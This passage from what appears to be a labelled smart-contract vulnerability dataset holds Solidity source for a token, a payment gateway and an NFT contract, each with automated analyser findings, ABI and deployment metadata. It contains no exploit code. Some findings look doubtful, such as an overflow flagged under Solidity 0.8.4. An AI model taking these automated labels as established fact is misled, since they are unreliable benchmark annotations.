emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/**
* @title GBN Coin
* @dev ERC20 Element Token)
*
* All initial tokens are assigned to the creator of
* this contract.
*
*/
contract GBNC is StandardToken, Pausable {
string public name = ""; // Set the token name for display
string public symbol = ""; // Set the token symbol for display
uint8 public decimals = 0; // Set the token symbol for display
/**
* @dev Don't allow tokens to be sent to the contract
*/
modifier rejectTokensToContract(address _to) {
require(_to != address(this));
_;
}
/**
* @dev GBNC Constructor
* Runs only on initial contract creation.
*/
function GBNC(string _name, string _symbol, uint256 _tokens, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
totalSupply = _tokens * 10**uint256(decimals); // Set the total supply
balances[msg.sender] = totalSupply; // Creator address is assigned all
emit Transfer(0x0, msg.sender, totalSupply); // create Transfer event for minting
}
/**
* @dev Transfer token for a specified address when not paused
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) rejectTokensToContract(_to) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
/**
* @dev Transfer tokens from one address to another when not paused
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) rejectTokensToContract(_to) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender when not paused.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
/**
* Adding whenNotPaused
*/
function increaseApproval (address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
/**
* Adding whenNotPaused
*/
function decreaseApproval (address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
} | [{"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["10"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["48"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["312"]}] | [{"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"GBNC.sol": [67, 68, 69, 70, 71]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"GBNC.sol": [73, 74, 75, 76, 77, 78]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"GBNC.sol": [266, 267, 268, 269]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"GBNC.sol": [11]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"GBNC.sol": [52, 53, 54, 55, 56]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"GBNC.sol": [274, 275, 276, 277]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"GBNC.sol": [203, 204, 205]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"GBNC.sol": [1]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GBNC.sol": [341]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GBNC.sol": [348]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GBNC.sol": [203]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GBNC.sol": [191]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GBNC.sol": [108]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GBNC.sol": [332]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GBNC.sol": [203]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GBNC.sol": [166]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GBNC.sol": [166]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GBNC.sol": [191]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GBNC.sol": [355]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GBNC.sol": [213]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GBNC.sol": [108]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GBNC.sol": [322]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GBNC.sol": [332]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GBNC.sol": [341]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GBNC.sol": [220]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GBNC.sol": [123]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GBNC.sol": [213]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GBNC.sol": [220]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GBNC.sol": [332]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GBNC.sol": [322]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GBNC.sol": [166]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GBNC.sol": [348]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GBNC.sol": [355]}}] | [{"error": "Integer Overflow.", "line": 86, "level": "Warning"}, {"error": "Integer Underflow.", "line": 293, "level": "Warning"}, {"error": "Integer Underflow.", "line": 292, "level": "Warning"}] | [{"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 11, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 123, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 140, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 203, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 191, "severity": 2}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 341, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 99, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 308, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 308, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 101, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 157, "severity": 1}] | [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"unpause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"paused","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_subtractedValue","type":"uint256"}],"name":"decreaseApproval","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"pause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_addedValue","type":"uint256"}],"name":"increaseApproval","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[{"name":"_name","type":"string"},{"name":"_symbol","type":"string"},{"name":"_tokens","type":"uint256"},{"name":"_decimals","type":"uint8"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[],"name":"Pause","type":"event"},{"anonymous":false,"inputs":[],"name":"Unpause","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"previousOwner","type":"address"},{"indexed":true,"name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"}] | v0.4.21+commit.dfe3193c | true | 200 | 000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000003b9aca000000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000000000000847424e20436f696e000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000447424e4300000000000000000000000000000000000000000000000000000000 | Default | false | bzzr://f2544a2f648c6d852a24608ae5d2740c2e2c84a2ecd131c8446e4d4dc5f3a9bc |
|||
CheckoutGateway | 0xd688775397c2e8bf2f5943468d234b1119769d6d | Solidity | // SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract CheckoutGateway {
address public admin;
address payable public vaultWallet;
mapping(address => uint) public counters;
event PurchasePackage(string orderId, string projectId, string packageId, uint counter);
event DepositToken(address token, address sender, uint amount);
modifier onlyAdmin() {
require(msg.sender == admin, "Not admin");
_;
}
constructor(address payable _vaultWallet) {
require(_vaultWallet != address(0), "Invalid vault address");
admin = msg.sender;
vaultWallet = _vaultWallet;
}
function setAdmin(address _newAdmin) external onlyAdmin {
require(_newAdmin != address(0), "Invalid address");
admin = _newAdmin;
}
function setVaultAddress(address payable _vaultWallet) public onlyAdmin {
require(_vaultWallet != address(0), "Invalid vault address");
vaultWallet = _vaultWallet;
}
function purchasePackage(string calldata orderId, string calldata projectId, string calldata packageId) external payable {
require(msg.value > 0, 'Invalid value');
vaultWallet.transfer(msg.value);
counters[msg.sender] = counters[msg.sender] + 1;
emit PurchasePackage(orderId, projectId, packageId, counters[msg.sender]);
}
function deposit(IERC20 _token, uint _amount) public {
require(address(_token) != address(0), "Invalid token address");
bool ret = _token.transferFrom(msg.sender, vaultWallet, _amount);
if(ret) emit DepositToken(address(_token), msg.sender, _amount);
}
} | [{"defect": "Transaction_order_dependency", "type": "Business_logic", "severity": "Medium", "lines": ["114"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["115"]}] | [{"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"CheckoutGateway.sol": [107, 108, 109, 110]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"CheckoutGateway.sol": [120, 121, 122, 123, 124]}}, {"check": "events-access", "impact": "Low", "confidence": "Medium", "lines": {"CheckoutGateway.sol": [104]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"CheckoutGateway.sol": [102]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"CheckoutGateway.sol": [107]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"CheckoutGateway.sol": [120]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"CheckoutGateway.sol": [120]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"CheckoutGateway.sol": [123]}}, {"check": "reentrancy-unlimited-gas", "impact": "Informational", "confidence": "Medium", "lines": {"CheckoutGateway.sol": [117]}}] | [] | [{"rule": "SOLIDITY_LOCKED_MONEY", "line": 82, "severity": 3}, {"rule": "SOLIDITY_VISIBILITY", "line": 96, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 96, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 97, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 97, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 97, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 98, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 98, "severity": 1}] | [{"inputs":[{"internalType":"address payable","name":"_vaultWallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"DepositToken","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"string","name":"orderId","type":"string"},{"indexed":false,"internalType":"string","name":"projectId","type":"string"},{"indexed":false,"internalType":"string","name":"packageId","type":"string"},{"indexed":false,"internalType":"uint256","name":"counter","type":"uint256"}],"name":"PurchasePackage","type":"event"},{"inputs":[],"name":"admin","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"counters","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"_token","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"deposit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"orderId","type":"string"},{"internalType":"string","name":"projectId","type":"string"},{"internalType":"string","name":"packageId","type":"string"}],"name":"purchasePackage","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"_newAdmin","type":"address"}],"name":"setAdmin","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"_vaultWallet","type":"address"}],"name":"setVaultAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"vaultWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"}] | v0.8.4+commit.c7e474f2 | true | 200 | 000000000000000000000000acf38ff9ec49a6978f73dc7d00f2ee865c76480b | Default | MIT | false | ipfs://12a0388522c17f806251810307b03a9ac7e78ce0510be814605608a40cca285d |
||
ApeRunners | 0x23d29535dd1a10d8783f76a5bd32c860262b8191 | Solidity | // File: contracts/ApeRunners.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
import "sol-temple/src/tokens/ERC721.sol";
import "sol-temple/src/utils/Auth.sol";
import "sol-temple/src/utils/Pausable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
/**
* @title Ape Runners
* @author naomsa <https://twitter.com/naomsa666>
*/
contract ApeRunners is Auth, Pausable, ERC721("Ape Runners", "AR") {
using Strings for uint256;
using MerkleProof for bytes32[];
/// @notice Max supply.
uint256 public constant MAX_SUPPLY = 5000;
/// @notice Max amount per claim (public sale).
uint256 public constant MAX_PER_TX = 10;
/// @notice Claim price.
uint256 public constant PRICE = 0.04 ether;
/// @notice 0 = CLOSED, 1 = WHITELIST, 2 = PUBLIC.
uint256 public saleState;
/// @notice Metadata base URI.
string public baseURI;
/// @notice Metadata URI extension.
string public baseExtension;
/// @notice Unrevealed metadata URI.
string public unrevealedURI;
/// @notice Whitelist merkle root.
bytes32 public merkleRoot;
/// @notice Whitelist mints per address.
mapping(address => uint256) public whitelistMinted;
/// @notice OpenSea proxy registry.
address public opensea;
/// @notice LooksRare marketplace transfer manager.
address public looksrare;
/// @notice Check if marketplaces pre-approve is enabled.
bool public marketplacesApproved = true;
constructor(
string memory unrevealedURI_,
bytes32 merkleRoot_,
address opensea_,
address looksrare_
) {
unrevealedURI = unrevealedURI_;
merkleRoot = merkleRoot_;
opensea = opensea_;
looksrare = looksrare_;
for (uint256 i = 0; i < 50; i++) _safeMint(msg.sender, i);
}
/// @notice Claim one or more tokens.
function claim(uint256 amount_) external payable {
uint256 supply = totalSupply();
require(supply + amount_ <= MAX_SUPPLY, "Max supply exceeded");
if (msg.sender != owner()) {
require(saleState == 2, "Public sale is not open");
require(amount_ > 0 && amount_ <= MAX_PER_TX, "Invalid claim amount");
require(msg.value == PRICE * amount_, "Invalid ether amount");
}
for (uint256 i = 0; i < amount_; i++) _safeMint(msg.sender, supply++);
}
/// @notice Claim one or more tokens for whitelisted user.
function claimWhitelist(uint256 amount_, bytes32[] memory proof_)
external
payable
{
uint256 supply = totalSupply();
require(supply + amount_ <= MAX_SUPPLY, "Max supply exceeded");
if (msg.sender != owner()) {
require(saleState == 1, "Whitelist sale is not open");
require(
amount_ > 0 && amount_ + whitelistMinted[msg.sender] <= MAX_PER_TX,
"Invalid claim amount"
);
require(msg.value == PRICE * amount_, "Invalid ether amount");
require(isWhitelisted(msg.sender, proof_), "Invalid proof");
}
whitelistMinted[msg.sender] += amount_;
for (uint256 i = 0; i < amount_; i++) _safeMint(msg.sender, supply++);
}
/// @notice Retrieve if `user_` is whitelisted based on his `proof_`.
function isWhitelisted(address user_, bytes32[] memory proof_)
public
view
returns (bool)
{
bytes32 leaf = keccak256(abi.encodePacked(user_));
return proof_.verify(merkleRoot, leaf);
}
/**
* @notice See {IERC721-tokenURI}.
* @dev In order to make a metadata reveal, there must be an unrevealedURI string, which
* gets set on the constructor and, for optimization purposes, when the owner() sets a new
* baseURI, the unrevealedURI gets deleted, saving gas and triggering a reveal.
*/
function tokenURI(uint256 tokenId_)
public
view
override
returns (string memory)
{
if (bytes(unrevealedURI).length > 0) return unrevealedURI;
return
string(abi.encodePacked(baseURI, tokenId_.toString(), baseExtension));
}
/// @notice Set baseURI to `baseURI_`, baseExtension to `baseExtension_` and deletes unrevealedURI, triggering a reveal.
function setBaseURI(string memory baseURI_, string memory baseExtension_)
external
onlyAuthorized
{
baseURI = baseURI_;
baseExtension = baseExtension_;
delete unrevealedURI;
}
/// @notice Set unrevealedURI to `unrevealedURI_`.
function setUnrevealedURI(string memory unrevealedURI_)
external
onlyAuthorized
{
unrevealedURI = unrevealedURI_;
}
/// @notice Set unrevealedURI to `unrevealedURI_`.
function setSaleState(uint256 saleState_) external onlyAuthorized {
saleState = saleState_;
}
/// @notice Set merkleRoot to `merkleRoot_`.
function setMerkleRoot(bytes32 merkleRoot_) external onlyAuthorized {
merkleRoot = merkleRoot_;
}
/// @notice Set opensea to `opensea_`.
function setOpensea(address opensea_) external onlyAuthorized {
opensea = opensea_;
}
/// @notice Set looksrare to `looksrare_`.
function setLooksrare(address looksrare_) external onlyAuthorized {
looksrare = looksrare_;
}
/// @notice Toggle pre-approve feature state for sender.
function toggleMarketplacesApproved() external onlyAuthorized {
marketplacesApproved = !marketplacesApproved;
}
/// @notice Toggle paused state.
function togglePaused() external onlyAuthorized {
_togglePaused();
}
/**
* @notice Withdraw `amount_` of ether to msg.sender.
* @dev Combined with the Auth util, this function can be called by
* anyone with the authorization from the owner, so a team member can
* get his shares with a permissioned call and exact data.
*/
function withdraw(uint256 amount_) external onlyAuthorized {
payable(msg.sender).transfer(amount_);
}
/// @dev Modified for opensea and looksrare pre-approve so users can make truly gasless sales.
function isApprovedForAll(address owner, address operator)
public
view
override
returns (bool)
{
if (!marketplacesApproved) return super.isApprovedForAll(owner, operator);
return
operator == OpenSeaProxyRegistry(opensea).proxies(owner) ||
operator == looksrare ||
super.isApprovedForAll(owner, operator);
}
/// @dev Edited in order to block transfers while paused unless msg.sender is the owner().
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal override {
require(
msg.sender == owner() || paused() == false,
"Pausable: contract paused"
);
super._beforeTokenTransfer(from, to, tokenId);
}
}
contract OpenSeaProxyRegistry {
mapping(address => address) public proxies;
}
// File: sol-temple/src/tokens/ERC721.sol
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.8.0 <0.9.0;
/**
* @title ERC721
* @author naomsa <https://twitter.com/naomsa666>
* @notice A complete ERC721 implementation including metadata and enumerable
* functions. Completely gas optimized and extensible.
*/
abstract contract ERC721 {
/* _ _ */
/* ( )_ ( )_ */
/* ___ | ,_) _ _ | ,_) __ */
/* /',__)| | /'_` )| | /'__`\ */
/* \__, \| |_ ( (_| || |_ ( ___/ */
/* (____/`\__)`\__,_)`\__)`\____) */
/// @dev This emits when ownership of any NFT changes by any mechanism.
event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId);
/// @dev This emits when the approved address for an NFT is changed or
event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId);
/// @dev This emits when an operator is enabled or disabled for an owner.
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
/// @notice See {IERC721Metadata-name}.
string public name;
/// @notice See {IERC721Metadata-symbol}.
string public symbol;
/// @notice Array of all owners.
address[] private _owners;
/// @notice Mapping of all balances.
mapping(address => uint256) private _balanceOf;
/// @notice Mapping from token ID to approved address.
mapping(uint256 => address) private _tokenApprovals;
/// @notice Mapping of approvals between owner and operator.
mapping(address => mapping(address => bool)) private _isApprovedForAll;
/* _ */
/* (_ ) _ */
/* | | _ __ (_) ___ */
/* | | /'_`\ /'_ `\| | /'___) */
/* | | ( (_) )( (_) || |( (___ */
/* (___)`\___/'`\__ |(_)`\____) */
/* ( )_) | */
/* \___/' */
constructor(string memory name_, string memory symbol_) {
name = name_;
symbol = symbol_;
}
/// @notice See {IERC721-balanceOf}.
function balanceOf(address owner) public view virtual returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balanceOf[owner];
}
/// @notice See {IERC721-ownerOf}.
function ownerOf(uint256 tokenId) public view virtual returns (address) {
require(_exists(tokenId), "ERC721: query for nonexistent token");
address owner = _owners[tokenId];
return owner;
}
/// @notice See {IERC721Metadata-tokenURI}.
function tokenURI(uint256) public view virtual returns (string memory);
/// @notice See {IERC721-approve}.
function approve(address to, uint256 tokenId) public virtual {
address owner = ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
msg.sender == owner || _isApprovedForAll[owner][msg.sender],
"ERC721: caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/// @notice See {IERC721-getApproved}.
function getApproved(uint256 tokenId) public view virtual returns (address) {
require(_exists(tokenId), "ERC721: query for nonexistent token");
return _tokenApprovals[tokenId];
}
/// @notice See {IERC721-setApprovalForAll}.
function setApprovalForAll(address operator, bool approved) public virtual {
_setApprovalForAll(msg.sender, operator, approved);
}
/// @notice See {IERC721-isApprovedForAll}
function isApprovedForAll(address owner, address operator) public view virtual returns (bool) {
return _isApprovedForAll[owner][operator];
}
/// @notice See {IERC721-transferFrom}.
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual {
require(_isApprovedOrOwner(msg.sender, tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/// @notice See {IERC721-safeTransferFrom}.
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual {
safeTransferFrom(from, to, tokenId, "");
}
/// @notice See {IERC721-safeTransferFrom}.
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data_
) public virtual {
require(_isApprovedOrOwner(msg.sender, tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, data_);
}
/// @notice See {IERC721Enumerable.tokenOfOwnerByIndex}.
function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256 tokenId) {
require(index < balanceOf(owner), "ERC721Enumerable: Index out of bounds");
uint256 count;
for (uint256 i; i < _owners.length; ++i) {
if (owner == _owners[i]) {
if (count == index) return i;
else count++;
}
}
revert("ERC721Enumerable: Index out of bounds");
}
/// @notice See {IERC721Enumerable.totalSupply}.
function totalSupply() public view virtual returns (uint256) {
return _owners.length;
}
/// @notice See {IERC721Enumerable.tokenByIndex}.
function tokenByIndex(uint256 index) public view virtual returns (uint256) {
require(index < _owners.length, "ERC721Enumerable: Index out of bounds");
return index;
}
/// @notice Returns a list of all token Ids owned by `owner`.
function tokensOfOwner(address owner) public view returns (uint256[] memory) {
uint256 balance = balanceOf(owner);
uint256[] memory ids = new uint256[](balance);
for (uint256 i = 0; i < balance; i++) {
ids[i] = tokenOfOwnerByIndex(owner, i);
}
return ids;
}
/* _ _ */
/* _ ( )_ (_ ) */
/* (_) ___ | ,_) __ _ __ ___ _ _ | | */
/* | |/' _ `\| | /'__`\( '__)/' _ `\ /'_` ) | | */
/* | || ( ) || |_ ( ___/| | | ( ) |( (_| | | | */
/* (_)(_) (_)`\__)`\____)(_) (_) (_)`\__,_)(___) */
/**
* @notice Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `data_` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
